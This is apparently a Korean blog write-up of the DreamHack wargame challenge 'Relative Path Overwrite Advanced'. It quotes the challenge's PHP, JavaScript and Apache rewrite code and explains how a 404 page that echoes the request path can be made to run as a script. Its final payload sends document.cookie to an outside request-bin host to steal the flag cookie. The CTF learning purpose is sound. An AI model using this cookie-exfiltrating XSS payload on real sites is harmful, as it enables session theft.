본문 바로가기

DreamHack

[DreamHack] Relative Path Overwrite Advanced

https://dreamhack.io/wargame/challenges/440

 

Relative Path Overwrite Advanced

Exercise: Relative Path Overwrite의 패치된 문제입니다.

dreamhack.io

난이도: Level 2

index.php

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite-Advanced</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Relative-Path-Overwrite-Advanced</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
    <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div>
</body>
</html>

Relative Path Overwrite 문제와 동일하게 경로 조작이 불가능하도록 필터링되어 있는 것을 확인할 수 있습니다.  

vuln.php

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter === 'undefined') {
        param = "nope !!";
    }
    else {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

Relative Path Overwrite 문제와 동일하게 <script src="filter.js"></script> 코드가 포함되어 있고, 유저로부터 입력받은 param 값을 소문자로 변환하여 필터링을 거치는 것을 알 수 있습니다. 

static/filter.js

var filter = ["script", "on", "frame", "object"];

Relative Path Overwrite 문제와 달리, filter.js 파일이 static 디렉터리에 존재합니다. 

000-default.conf

RewriteEngine on
RewriteRule ^/(.*)\.(js|css)$ /static/$1 [L]

ErrorDocument 404 /404.php

"/" 경로로 시작하고 어떤 문자열 뒤에 .js 혹은 .css로 끝나는 파일에 접근 시 "/static" 경로에서 있는 filter.js 파일을 로드하며, 유저에게는 404.php 파일을 로드합니다.

 

https://httpd.apache.org/docs/2.4/rewrite/intro.html

404.php

<?php
    header("HTTP/1.1 200 OK");
    echo $_SERVER["REQUEST_URI"] . " not found.";
?>

Relative Path Overwrite 문제와 달리, 404.php가 존재했고 아래와 같이 파일 접근 시 "not found" 문구를 띄우면서 결과를 보여주지 않는 것을 확인할 수 있습니다. 

 

즉, 다른 점은 크게 2가지가 존재합니다. 첫 번째는 filter.js 파일이 static 디렉터리에 존재하는 것, 두 번째는 404.php 파일과 000-default.conf 파일이 존재한다는 점입니다. 

 

경로 조작을 위해 404.php 파일을 이용해야 할 것 같습니다.

 

$_SERVER["REQUEST_URI"]는 유저가 입력한 경로를 받아와 echo를 통해 유저에게 뿌려줍니다. 만일 유저가 경로 입력으로 host3.dreamhack.games:13519/index.php/;alert(1);//?page=vuln&param=dreamhack 를 주게 되면 어떻게 될까요?

 

echo "index.php/;alert(1);//" . " not found."; 와 같이 표현될 것입니다. 

";"을 통해 끝을 알리고 alert(1);가 실행되고 not found 는 주석 처리가 되며 스크립트를 실행할 수 있게 됩니다. 

 

그러므로, index.php/;location.href='https://vzmljcu.request.dreamhack.games/'+document.cookie;//?page=vuln&param=dreamhack 입력 시 쿠키에 존재하는 플래그 값을 획득할 수 있게 됩니다. 

 

플래그 획득!

'DreamHack' 카테고리의 다른 글

[DreamHack] DOM XSS  (0) 2023.09.01
[DreamHack] CSS Injection  (2) 2023.08.31
[DreamHack] Relative Path Overwrite  (0) 2023.08.13
[DreamHack] filestorage  (0) 2023.08.10
[DreamHack] error-based-sql-injection  (0) 2023.08.09